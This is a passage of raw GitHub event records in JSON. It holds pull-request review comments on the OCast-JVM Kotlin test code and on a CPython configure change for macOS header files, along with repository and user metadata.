ssues_count":5,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":0,"open_issues":5,"watchers":0,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/pulls/9"},"html":{"href":"https://github.com/AnalyticalGraphicsInc/cesium-ion-blender-addon/pull/9"},"issue":{"href":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/issues/9"},"comments":{"href":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/issues/9/comments"},"review_comments":{"href":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/pulls/9/comments"},"review_comment":{"href":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/pulls/9/commits"},"statuses":{"href":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/statuses/9a25dfe4c6c5e2074605186afd679735c2763ec5"}},"author_association":"MEMBER"}}
|
{
"id": 188291720,
"name": "AnalyticalGraphicsInc/cesium-ion-blender-addon",
"url": "https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon"
}
|
{
"id": 1495196,
"login": "mramato",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1495196?",
"url": "https://api.github.com/users/mramato"
}
|
{
"id": 1490220,
"login": "AnalyticalGraphicsInc",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1490220?",
"url": "https://api.github.com/orgs/AnalyticalGraphicsInc"
}
| 2019-06-27T21:28:14 |
9909620474
|
{"actor":{"display_login":"mramato"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/pulls/comments/290244739","pull_request_review_id":244913853,"id":290244739,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI5MDI0NDczOQ==","diff_hunk":"@@ -0,0 +1,501 @@\n+/*\n+ * Copyright 2019 Orange\n+ *\n+ * Licensed under the Apache License, Version 2.0 (the \"License\");\n+ * you may not use this file except in compliance with the License.\n+ * You may obtain a copy of the License at\n+ *\n+ * http://www.apache.org/licenses/LICENSE-2.0\n+ *\n+ * Unless required by applicable law or agreed to in writing, software\n+ * distributed under the License is distributed on an \"AS IS\" BASIS,\n+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n+ * See the License for the specific language governing permissions and\n+ * limitations under the License.\n+ */\n+\n+package org.ocast.dial\n+\n+import com.nhaarman.mockitokotlin2.argumentCaptor\n+import com.nhaarman.mockitokotlin2.mock\n+import com.nhaarman.mockitokotlin2.times\n+import com.nhaarman.mockitokotlin2.verify\n+import okhttp3.mockwebserver.MockResponse\n+import okhttp3.mockwebserver.SocketPolicy\n+import org.junit.Assert.assertEquals\n+import org.junit.Assert.assertNotNull\n+import org.junit.Assert.assertNull\n+import org.junit.Test\n+import org.junit.runner.RunWith\n+import org.junit.runners.Parameterized\n+import org.ocast.common.HttpClientTest\n+import org.ocast.common.SynchronizedFunction1\n+import org.ocast.common.removeXMLElement\n+import java.net.URI\n+import java.net.URL\n+import java.util.concurrent.TimeUnit\n+import javax.xml.ws.http.HTTPException\n+\n+/**\n+ * Unit tests for the [DialClient] class.\n+ */\n+internal class DialClientTest : HttpClientTest() {","path":"OCast/src/test/java/org/ocast/dial/DialClientTest.kt","position":42,"original_position":42,"commit_id":"1e5a3b64dde34e7e57062769bbbf61f43f0a6c4c","original_commit_id":"1e5a3b64dde34e7e57062769bbbf61f43f0a6c4c","user":{"login":"ttassain","id":36404498,"node_id":"MDQ6VXNlcjM2NDA0NDk4","avatar_url":"https://avatars1.githubusercontent.com/u/36404498?v=4","gravatar_id":"","url":"https://api.github.com/users/ttassain","html_url":"https://github.com/ttassain","followers_url":"https://api.github.com/users/ttassain/followers","following_url":"https://api.github.com/users/ttassain/following{/other_user}","gists_url":"https://api.github.com/users/ttassain/gists{/gist_id}","starred_url":"https://api.github.com/users/ttassain/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ttassain/subscriptions","organizations_url":"https://api.github.com/users/ttassain/orgs","repos_url":"https://api.github.com/users/ttassain/repos","events_url":"https://api.github.com/users/ttassain/events{/privacy}","received_events_url":"https://api.github.com/users/ttassain/received_events","type":"User","site_admin":false},"body":"Android Studio does not run tests in InnerClass, use (for exemple) external lib like :\r\n\r\n```\r\n@RunWith(NestedRunner::class)\r\ninternal class DialClientTest : HttpClientTest() {\r\n\r\ntestImplementation “com.nitorcreations:junit-runners:1.2”\r\n```","created_at":"2019-06-04T11:12:39Z","updated_at":"2019-06-04T11:22:51Z","html_url":"https://github.com/Orange-OpenSource/OCast-JVM/pull/2#discussion_r290244739","pull_request_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/pulls/2","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/pulls/comments/290244739"},"html":{"href":"https://github.com/Orange-OpenSource/OCast-JVM/pull/2#discussion_r290244739"},"pull_request":{"href":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/pulls/2"}}},"pull_request":{"url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/pulls/2","id":282554433,"node_id":"MDExOlB1bGxSZXF1ZXN0MjgyNTU0NDMz","html_url":"https://github.com/Orange-OpenSource/OCast-JVM/pull/2","diff_url":"https://github.com/Orange-OpenSource/OCast-JVM/pull/2.diff","patch_url":"https://github.com/Orange-OpenSource/OCast-JVM/pull/2.patch","issue_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/issues/2","number":2,"state":"open","locked":false,"title":"Add DIAL requests","user":{"login":"florentmaitre","id":13621389,"node_id":"MDQ6VXNlcjEzNjIxMzg5","avatar_url":"https://avatars0.githubusercontent.com/u/13621389?v=4","gravatar_id":"","url":"https://api.github.com/users/florentmaitre","html_url":"https://github.com/florentmaitre","followers_url":"https://api.github.com/users/florentmaitre/followers","following_url":"https://api.github.com/users/florentmaitre/following{/other_user}","gists_url":"https://api.github.com/users/florentmaitre/gists{/gist_id}","starred_url":"https://api.github.com/users/florentmaitre/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/florentmaitre/subscriptions","organizations_url":"https://api.github.com/users/florentmaitre/orgs","repos_url":"https://api.github.com/users/florentmaitre/repos","events_url":"https://api.github.com/users/florentmaitre/events{/privacy}","received_events_url":"https://api.github.com/users/florentmaitre/received_events","type":"User","site_admin":false},"body":"","created_at":"2019-05-27T15:29:08Z","updated_at":"2019-06-04T11:22:50Z","closed_at":null,"merged_at":null,"merge_commit_sha":"9aff86212c4a54ba976df0c392b2efbd6351e0fc","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[{"id":1326322833,"node_id":"MDU6TGFiZWwxMzI2MzIyODMz","url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/labels/enhancement","name":"enhancement","color":"a2eeef","default":true}],"milestone":null,"commits_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/pulls/2/commits","review_comments_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/pulls/2/comments","review_comment_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/pulls/comments{/number}","comments_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/issues/2/comments","statuses_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/statuses/1e5a3b64dde34e7e57062769bbbf61f43f0a6c4c","head":{"label":"Orange-OpenSource:dial","ref":"dial","sha":"1e5a3b64dde34e7e57062769bbbf61f43f0a6c4c","user":{"login":"Orange-OpenSource","id":1506386,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE1MDYzODY=","avatar_url":"https://avatars0.githubusercontent.com/u/1506386?v=4","gravatar_id":"","url":"https://api.github.com/users/Orange-OpenSource","html_url":"https://github.com/Orange-OpenSource","followers_url":"https://api.github.com/users/Orange-OpenSource/followers","following_url":"https://api.github.com/users/Orange-OpenSource/following{/other_user}","gists_url":"https://api.github.com/users/Orange-OpenSource/gists{/gist_id}","starred_url":"https://api.github.com/users/Orange-OpenSource/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Orange-OpenSource/subscriptions","organizations_url":"https://api.github.com/users/Orange-OpenSource/orgs","repos_url":"https://api.github.com/users/Orange-OpenSource/repos","events_url":"https://api.github.com/users/Orange-OpenSource/events{/privacy}","received_events_url":"https://api.github.com/users/Orange-OpenSource/received_events","type":"Organization","site_admin":false},"repo":{"id":182258816,"node_id":"MDEwOlJlcG9zaXRvcnkxODIyNTg4MTY=","name":"OCast-JVM","full_name":"Orange-OpenSource/OCast-JVM","private":false,"owner":{"login":"Orange-OpenSource","id":1506386,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE1MDYzODY=","avatar_url":"https://avatars0.githubusercontent.com/u/1506386?v=4","gravatar_id":"","url":"https://api.github.com/users/Orange-OpenSource","html_url":"https://github.com/Orange-OpenSource","followers_url":"https://api.github.com/users/Orange-OpenSource/followers","following_url":"https://api.github.com/users/Orange-OpenSource/following{/other_user}","gists_url":"https://api.github.com/users/Orange-OpenSource/gists{/gist_id}","starred_url":"https://api.github.com/users/Orange-OpenSource/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Orange-OpenSource/subscriptions","organizations_url":"https://api.github.com/users/Orange-OpenSource/orgs","repos_url":"https://api.github.com/users/Orange-OpenSource/repos","events_url":"https://api.github.com/users/Orange-OpenSource/events{/privacy}","received_events_url":"https://api.github.com/users/Orange-OpenSource/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/Orange-OpenSource/OCast-JVM","description":"The Orange OCast SDK provides all required API to implement API to implement cast enabled applications and devices.","fork":false,"url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM","forks_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/forks","keys_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/teams","hooks_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/hooks","issue_events_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/issues/events{/number}","events_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/events","assignees_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/assignees{/user}","branches_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/branches{/branch}","tags_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/tags","blobs_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/git/refs{/sha}","trees_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/statuses/{sha}","languages_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/languages","stargazers_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/stargazers","contributors_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/contributors","subscribers_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/subscribers","subscription_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/subscription","commits_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/commits{/sha}","git_commits_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/git/commits{/sha}","comments_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/comments{/number}","issue_comment_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/issues/comments{/number}","contents_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/contents/{+path}","compare_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/merges","archive_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/downloads","issues_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/issues{/number}","pulls_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/pulls{/number}","milestones_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/milestones{/number}","notifications_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/labels{/name}","releases_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/releases{/id}","deployments_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/deployments","created_at":"2019-04-19T12:06:22Z","updated_at":"2019-06-03T14:37:49Z","pushed_at":"2019-06-03T15:04:09Z","git_url":"git://github.com/Orange-OpenSource/OCast-JVM.git","ssh_url":"git@github.com:Orange-OpenSource/OCast-JVM.git","clone_url":"https://github.com/Orange-OpenSource/OCast-JVM.git","svn_url":"https://github.com/Orange-OpenSource/OCast-JVM","homepage":null,"size":214,"stargazers_count":1,"watchers_count":1,"language":"Kotlin","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":3,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":0,"open_issues":3,"watchers":1,"default_branch":"develop"}},"base":{"label":"Orange-OpenSource:develop","ref":"develop","sha":"7e0799b7f6ea7f6c5ddb146f5346b36633fa2ec2","user":{"login":"Orange-OpenSource","id":1506386,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE1MDYzODY=","avatar_url":"https://avatars0.githubusercontent.com/u/1506386?v=4","gravatar_id":"","url":"https://api.github.com/users/Orange-OpenSource","html_url":"https://github.com/Orange-OpenSource","followers_url":"https://api.github.com/users/Orange-OpenSource/followers","following_url":"https://api.github.com/users/Orange-OpenSource/following{/other_user}","gists_url":"https://api.github.com/users/Orange-OpenSource/gists{/gist_id}","starred_url":"https://api.github.com/users/Orange-OpenSource/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Orange-OpenSource/subscriptions","organizations_url":"https://api.github.com/users/Orange-OpenSource/orgs","repos_url":"https://api.github.com/users/Orange-OpenSource/repos","events_url":"https://api.github.com/users/Orange-OpenSource/events{/privacy}","received_events_url":"https://api.github.com/users/Orange-OpenSource/received_events","type":"Organization","site_admin":false},"repo":{"id":182258816,"node_id":"MDEwOlJlcG9zaXRvcnkxODIyNTg4MTY=","name":"OCast-JVM","full_name":"Orange-OpenSource/OCast-JVM","private":false,"owner":{"login":"Orange-OpenSource","id":1506386,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE1MDYzODY=","avatar_url":"https://avatars0.githubusercontent.com/u/1506386?v=4","gravatar_id":"","url":"https://api.github.com/users/Orange-OpenSource","html_url":"https://github.com/Orange-OpenSource","followers_url":"https://api.github.com/users/Orange-OpenSource/followers","following_url":"https://api.github.com/users/Orange-OpenSource/following{/other_user}","gists_url":"https://api.github.com/users/Orange-OpenSource/gists{/gist_id}","starred_url":"https://api.github.com/users/Orange-OpenSource/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Orange-OpenSource/subscriptions","organizations_url":"https://api.github.com/users/Orange-OpenSource/orgs","repos_url":"https://api.github.com/users/Orange-OpenSource/repos","events_url":"https://api.github.com/users/Orange-OpenSource/events{/privacy}","received_events_url":"https://api.github.com/users/Orange-OpenSource/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/Orange-OpenSource/OCast-JVM","description":"The Orange OCast SDK provides all required API to implement API to implement cast enabled applications and devices.","fork":false,"url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM","forks_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/forks","keys_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/teams","hooks_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/hooks","issue_events_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/issues/events{/number}","events_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/events","assignees_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/assignees{/user}","branches_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/branches{/branch}","tags_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/tags","blobs_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/git/refs{/sha}","trees_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/statuses/{sha}","languages_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/languages","stargazers_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/stargazers","contributors_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/contributors","subscribers_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/subscribers","subscription_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/subscription","commits_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/commits{/sha}","git_commits_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/git/commits{/sha}","comments_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/comments{/number}","issue_comment_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/issues/comments{/number}","contents_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/contents/{+path}","compare_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/merges","archive_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/downloads","issues_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/issues{/number}","pulls_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/pulls{/number}","milestones_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/milestones{/number}","notifications_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/labels{/name}","releases_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/releases{/id}","deployments_url":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/deployments","created_at":"2019-04-19T12:06:22Z","updated_at":"2019-06-03T14:37:49Z","pushed_at":"2019-06-03T15:04:09Z","git_url":"git://github.com/Orange-OpenSource/OCast-JVM.git","ssh_url":"git@github.com:Orange-OpenSource/OCast-JVM.git","clone_url":"https://github.com/Orange-OpenSource/OCast-JVM.git","svn_url":"https://github.com/Orange-OpenSource/OCast-JVM","homepage":null,"size":214,"stargazers_count":1,"watchers_count":1,"language":"Kotlin","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":3,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":0,"open_issues":3,"watchers":1,"default_branch":"develop"}},"_links":{"self":{"href":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/pulls/2"},"html":{"href":"https://github.com/Orange-OpenSource/OCast-JVM/pull/2"},"issue":{"href":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/issues/2"},"comments":{"href":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/issues/2/comments"},"review_comments":{"href":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/pulls/2/comments"},"review_comment":{"href":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/pulls/2/commits"},"statuses":{"href":"https://api.github.com/repos/Orange-OpenSource/OCast-JVM/statuses/1e5a3b64dde34e7e57062769bbbf61f43f0a6c4c"}},"author_association":"MEMBER"}}
|
{
"id": 182258816,
"name": "Orange-OpenSource/OCast-JVM",
"url": "https://api.github.com/repos/Orange-OpenSource/OCast-JVM"
}
|
{
"id": 36404498,
"login": "ttassain",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/36404498?",
"url": "https://api.github.com/users/ttassain"
}
|
{
"id": 1506386,
"login": "Orange-OpenSource",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1506386?",
"url": "https://api.github.com/orgs/Orange-OpenSource"
}
| 2019-06-04T11:12:39 |
9754343905
|
{"actor":{"display_login":"ttassain"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/python/cpython/pulls/comments/277241032","pull_request_review_id":229000093,"id":277241032,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI3NzI0MTAzMg==","diff_hunk":"@@ -1436,6 +1447,7 @@ Fine tuning of the installation directories:\n --sysconfdir=DIR read-only single-machine data [PREFIX/etc]\n --sharedstatedir=DIR modifiable architecture-independent data [PREFIX/com]\n --localstatedir=DIR modifiable single-machine data [PREFIX/var]\n+ --runstatedir=DIR modifiable per-process data [LOCALSTATEDIR/run]","path":"configure","position":null,"original_position":45,"commit_id":"c056cd508104386d1b51fb4f794617ee97285304","original_commit_id":"16c0144a3b6e55a49fd068e9d073611389e06200","user":{"login":"dimpase","id":1276956,"node_id":"MDQ6VXNlcjEyNzY5NTY=","avatar_url":"https://avatars0.githubusercontent.com/u/1276956?v=4","gravatar_id":"","url":"https://api.github.com/users/dimpase","html_url":"https://github.com/dimpase","followers_url":"https://api.github.com/users/dimpase/followers","following_url":"https://api.github.com/users/dimpase/following{/other_user}","gists_url":"https://api.github.com/users/dimpase/gists{/gist_id}","starred_url":"https://api.github.com/users/dimpase/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dimpase/subscriptions","organizations_url":"https://api.github.com/users/dimpase/orgs","repos_url":"https://api.github.com/users/dimpase/repos","events_url":"https://api.github.com/users/dimpase/events{/privacy}","received_events_url":"https://api.github.com/users/dimpase/received_events","type":"User","site_admin":false},"body":"using newer autotools fixed this by itself.","created_at":"2019-04-22T08:51:47Z","updated_at":"2019-04-22T08:51:47Z","html_url":"https://github.com/python/cpython/pull/12825#discussion_r277241032","pull_request_url":"https://api.github.com/repos/python/cpython/pulls/12825","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/python/cpython/pulls/comments/277241032"},"html":{"href":"https://github.com/python/cpython/pull/12825#discussion_r277241032"},"pull_request":{"href":"https://api.github.com/repos/python/cpython/pulls/12825"}},"in_reply_to_id":275374875},"pull_request":{"url":"https://api.github.com/repos/python/cpython/pulls/12825","id":270285662,"node_id":"MDExOlB1bGxSZXF1ZXN0MjcwMjg1NjYy","html_url":"https://github.com/python/cpython/pull/12825","diff_url":"https://github.com/python/cpython/pull/12825.diff","patch_url":"https://github.com/python/cpython/pull/12825.patch","issue_url":"https://api.github.com/repos/python/cpython/issues/12825","number":12825,"state":"open","locked":false,"title":" bpo-36231: no \"proper\" header files on macOS 10.14 Mojave","user":{"login":"dimpase","id":1276956,"node_id":"MDQ6VXNlcjEyNzY5NTY=","avatar_url":"https://avatars0.githubusercontent.com/u/1276956?v=4","gravatar_id":"","url":"https://api.github.com/users/dimpase","html_url":"https://github.com/dimpase","followers_url":"https://api.github.com/users/dimpase/followers","following_url":"https://api.github.com/users/dimpase/following{/other_user}","gists_url":"https://api.github.com/users/dimpase/gists{/gist_id}","starred_url":"https://api.github.com/users/dimpase/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dimpase/subscriptions","organizations_url":"https://api.github.com/users/dimpase/orgs","repos_url":"https://api.github.com/users/dimpase/repos","events_url":"https://api.github.com/users/dimpase/events{/privacy}","received_events_url":"https://api.github.com/users/dimpase/received_events","type":"User","site_admin":false},"body":"<!--\r\nThanks for your contribution!\r\nPlease read this comment in its entirety. It's quite important.\r\n\r\n# Pull Request title\r\n\r\nIt should be in the following format:\r\n\r\n```\r\nbpo-NNNN: Summary of the changes made\r\n```\r\n\r\nWhere: bpo-NNNN refers to the issue number in the https://bugs.python.org.\r\n\r\nMost PRs will require an issue number. Trivial changes, like fixing a typo, do not need an issue.\r\n\r\n# Backport Pull Request title\r\n\r\nIf this is a backport PR (PR made against branches other than `master`),\r\nplease ensure that the PR title is in the following format:\r\n\r\n```\r\n[X.Y] <title from the original PR> (GH-NNNN)\r\n```\r\n\r\nWhere: [X.Y] is the branch name, e.g. [3.6].\r\n\r\nGH-NNNN refers to the PR number from `master`.\r\n\r\n-->\r\n\n\n<!-- issue-number: [bpo-36231](https://bugs.python.org/issue36231) -->\nhttps://bugs.python.org/issue36231\n<!-- /issue-number -->\n","created_at":"2019-04-14T10:07:16Z","updated_at":"2019-04-22T08:51:47Z","closed_at":null,"merged_at":null,"merge_commit_sha":"fba2026fa91bee05c9ef3f89e51bdae0ee04b4e3","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[{"id":536945472,"node_id":"MDU6TGFiZWw1MzY5NDU0NzI=","url":"https://api.github.com/repos/python/cpython/labels/CLA%20signed","name":"CLA signed","color":"0e8a16","default":false},{"id":666979821,"node_id":"MDU6TGFiZWw2NjY5Nzk4MjE=","url":"https://api.github.com/repos/python/cpython/labels/awaiting%20review","name":"awaiting review","color":"fbca04","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/python/cpython/pulls/12825/commits","review_comments_url":"https://api.github.com/repos/python/cpython/pulls/12825/comments","review_comment_url":"https://api.github.com/repos/python/cpython/pulls/comments{/number}","comments_url":"https://api.github.com/repos/python/cpython/issues/12825/comments","statuses_url":"https://api.github.com/repos/python/cpython/statuses/c056cd508104386d1b51fb4f794617ee97285304","head":{"label":"dimpase:master","ref":"master","sha":"c056cd508104386d1b51fb4f794617ee97285304","user":{"login":"dimpase","id":1276956,"node_id":"MDQ6VXNlcjEyNzY5NTY=","avatar_url":"https://avatars0.githubusercontent.com/u/1276956?v=4","gravatar_id":"","url":"https://api.github.com/users/dimpase","html_url":"https://github.com/dimpase","followers_url":"https://api.github.com/users/dimpase/followers","following_url":"https://api.github.com/users/dimpase/following{/other_user}","gists_url":"https://api.github.com/users/dimpase/gists{/gist_id}","starred_url":"https://api.github.com/users/dimpase/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dimpase/subscriptions","organizations_url":"https://api.github.com/users/dimpase/orgs","repos_url":"https://api.github.com/users/dimpase/repos","events_url":"https://api.github.com/users/dimpase/events{/privacy}","received_events_url":"https://api.github.com/users/dimpase/received_events","type":"User","site_admin":false},"repo":{"id":172497299,"node_id":"MDEwOlJlcG9zaXRvcnkxNzI0OTcyOTk=","name":"cpython","full_name":"dimpase/cpython","private":false,"owner":{"login":"dimpase","id":1276956,"node_id":"MDQ6VXNlcjEyNzY5NTY=","avatar_url":"https://avatars0.githubusercontent.com/u/1276956?v=4","gravatar_id":"","url":"https://api.github.com/users/dimpase","html_url":"https://github.com/dimpase","followers_url":"https://api.github.com/users/dimpase/followers","following_url":"https://api.github.com/users/dimpase/following{/other_user}","gists_url":"https://api.github.com/users/dimpase/gists{/gist_id}","starred_url":"https://api.github.com/users/dimpase/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dimpase/subscriptions","organizations_url":"https://api.github.com/users/dimpase/orgs","repos_url":"https://api.github.com/users/dimpase/repos","events_url":"https://api.github.com/users/dimpase/events{/privacy}","received_events_url":"https://api.github.com/users/dimpase/received_events","type":"User","site_admin":false},"html_url":"https://github.com/dimpase/cpython","description":"The Python programming language","fork":true,"url":"https://api.github.com/repos/dimpase/cpython","forks_url":"https://api.github.com/repos/dimpase/cpython/forks","keys_url":"https://api.github.com/repos/dimpase/cpython/keys{/key_id}","collaborators_url":"https://api.github.com/repos/dimpase/cpython/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/dimpase/cpython/teams","hooks_url":"https://api.github.com/repos/dimpase/cpython/hooks","issue_events_url":"https://api.github.com/repos/dimpase/cpython/issues/events{/number}","events_url":"https://api.github.com/repos/dimpase/cpython/events","assignees_url":"https://api.github.com/repos/dimpase/cpython/assignees{/user}","branches_url":"https://api.github.com/repos/dimpase/cpython/branches{/branch}","tags_url":"https://api.github.com/repos/dimpase/cpython/tags","blobs_url":"https://api.github.com/repos/dimpase/cpython/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/dimpase/cpython/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/dimpase/cpython/git/refs{/sha}","trees_url":"https://api.github.com/repos/dimpase/cpython/git/trees{/sha}","statuses_url":"https://api.github.com/repos/dimpase/